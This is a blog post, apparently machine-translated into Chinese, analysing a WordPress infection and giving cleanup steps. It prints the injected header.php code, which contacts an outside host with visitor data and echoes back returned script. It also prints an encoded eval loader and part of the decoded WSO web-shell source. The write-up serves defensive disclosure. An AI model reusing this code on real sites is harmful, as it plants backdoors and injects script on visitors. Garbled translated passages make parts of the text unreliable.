前几天,我注意到一个设备 可疑代码 (病毒 / 恶意软件)在正在运行的博客中 WordPress。 下面的PHP代码是目前在 header.php文件,在行前。
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
我不知道到底是什么病毒和nimci mac它的功能完全相同,但是对受影响站点的访问者来说是看不见的。 相反,它会在搜索引擎中(尤其是在Google中)引起巨大的排名,从而大大减少了受影响网站的访问者数量。
详细了解这种病毒文件:
1。 上面的代码中存在的header.php
2。 出现一个文件 WP-log.php的 文件夹中 包括WP-.

3。 按照log.php WP包括代码,加密:
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
解密代码在WP log.php:
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
4.如果直接访问该页面 numeblog.com/wp-includes/wp-log.php 出现带有字段的页面 注册。 乍一看似乎是 file 经理。
清洁工 WORDPRESS.
1.首先从中删除代码 header.php文件 和文件 WP-log.php的 从 包括WP-.
2.检查文件 的。htaccess 可疑指令。 权限行或脚本执行。
3.检查主题文件夹(/ wp-content /主题/ Nume_tema)。 查找发生可疑更改的新文件和现有文件(尤其是.php文件)。
4.检查文件夹 插入CES(国际的wp-content/plugins).
5.检查 WP-内容 的可疑文件。
6.检查文件夹和文件的写权限。 CHMOD si 乔恩.
消除病毒的建议 WORDPRESS.
1.首先,最好对所有博客文件和数据库进行备份。
2.删除文件夹 wp-admin si 包括WP- 和所有文件 。PHP 从网站的根目录开始。 如果您有自定义的.php文件,则最好手动检查它们。
3.下载当前版本 WordPress 并上传。
4. 检查数据库中排名为的用户 administrator.
这就是关于该病毒的一切,但是,如果您有其他添加或发现新的细节,我们将很乐意更新本文。
STEALTH SETTINGS – 删除 WORDPRESS 病毒 .